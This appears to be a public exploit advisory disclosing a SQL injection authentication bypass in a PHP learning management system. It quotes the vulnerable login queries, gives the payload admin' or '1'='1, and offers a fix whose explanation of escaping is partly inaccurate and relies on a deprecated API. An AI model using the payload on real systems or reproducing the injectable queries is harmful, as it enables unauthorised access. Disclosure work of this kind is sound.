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85 lines
No EOL
3.1 KiB
Text
Executable file
85 lines
No EOL
3.1 KiB
Text
Executable file
# Exploit Title.............. Learning Management System Auth Bypass
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# Google Dork................ N/A
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# Date....................... 14/10/2016
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# Exploit Author............. lahilote
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# Vendor Homepage............ http://www.sourcecodester.com/php/7339/learning-management-system.html
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# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/jkev/lms.zip
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# Version.................... 0.1
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# Tested on.................. xampp
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# CVE........................ N/A
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The audit_list in lms/login.php
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-------------------------------
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----snip----
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$username = $_POST['username'];
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$password = $_POST['password'];
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/* student */
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$query = "SELECT * FROM student WHERE username='$username' AND password='$password'";
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$result = mysql_query($query)or die(mysql_error());
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$row = mysql_fetch_array($result);
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$num_row = mysql_num_rows($result);
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/* teacher */
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$query_teacher = mysql_query("SELECT * FROM teacher WHERE username='$username' AND password='$password'")or die(mysql_error());
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$num_row_teacher = mysql_num_rows($query_teacher);
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$row_teahcer = mysql_fetch_array($query_teacher);
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if( $num_row > 0 ) {
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----snip----
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lms/admin/login.php
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-------------------
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----snip----
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$username = $_POST['username'];
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$password = $_POST['password'];
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$query = mysql_query("SELECT * FROM users WHERE username='$username' AND password='$password'")or die(mysql_error());
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$count = mysql_num_rows($query);
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$row = mysql_fetch_array($query);
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----snip----
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You can login with username and password: admin' or '1'='1
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How to fix
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----------
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One of the method's to fix and secure such Auth Bypass flaw's, is to use the php function mysql_real_escape_string.
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It causes that every of this characters \x00, \n, \r, \, '
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get's replaced with a simple Backslash „/“, so the attackers commands become useless.
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Example: lms/login.php
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$username = mysql_real_escape_string($_POST['username']);
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$password = mysql_real_escape_string($_POST['password']);
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/* student */
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$query = "SELECT * FROM student WHERE username='$username' AND password='$password'";
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$result = mysql_query($query)or die(mysql_error());
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$row = mysql_fetch_array($result);
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$num_row = mysql_num_rows($result);
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/* teacher */
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$query_teacher = mysql_query("SELECT * FROM teacher WHERE username='$username' AND password='$password'")or die(mysql_error());
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$num_row_teacher = mysql_num_rows($query_teacher);
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$row_teahcer = mysql_fetch_array($query_teacher);
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if( $num_row > 0 ) {
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Example: lms/admin/login.php
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$username = mysql_real_escape_string($_POST['username']);
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$password = mysql_real_escape_string($_POST['password']);
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$query = mysql_query("SELECT * FROM users WHERE username='$username' AND password='$password'")or die(mysql_error());
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$count = mysql_num_rows($query);
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$row = mysql_fetch_array($query);
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Credits
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-------
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This vulnerability was discovered and researched by lahilote
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References
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http://www.sourcecodester.com/php/7339/learning-management-system.html
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http://php.net/manual/en/function.mysql-real-escape-string.php |